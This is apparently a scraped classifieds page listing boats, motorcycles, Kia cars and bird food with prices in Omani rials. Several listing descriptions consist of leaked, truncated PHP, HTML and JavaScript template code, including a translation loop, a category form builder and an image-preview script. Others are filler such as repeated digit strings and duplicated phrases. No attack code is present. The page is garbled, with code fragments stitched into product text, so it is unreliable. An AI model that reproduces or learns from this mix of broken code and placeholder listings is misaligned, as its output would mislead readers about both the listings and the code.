//foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>

omr1450.00
new boat imported from hong Kong

new boat imported from hong Kong

new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55

omr6500.00
new boat imported from hong Kong

new boat imported from hong Kong

new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55

omr6500.00
new boat imported from hong Kong

new boat imported from hong Kong

new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55

omr6500.00
new boat imported from hong Kong

new boat imported from hong Kong

new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55

omr6500.00
new boat imported from hong Kong

new boat imported from hong Kong

new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55

omr6500.00
new boat imported from hong Kong

new boat imported from hong Kong

new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55

omr6500.00
motorcycles_s 2025

motorcycles_s 2025

<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">

omr147.00
motorcycles_s 2024

motorcycles_s 2024

<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">

omr147.00
motorcycles_s

motorcycles_s

<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">

omr147.00
motorcycle

motorcycle

<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">

omr147.00
new boat imported from hong Kong

new boat imported from hong Kong

new boat imported from hong Kong new boat imported from hong Kong

omr1200.00

parrot food grains

new packs

omr12.00
kia sportage

kia sportage

like new

omr3650.00
kia tew 4 weels

kia tew 4 weels

like new

omr3600.00
kia sortage

kia sortage

like new

omr3500.00

0.00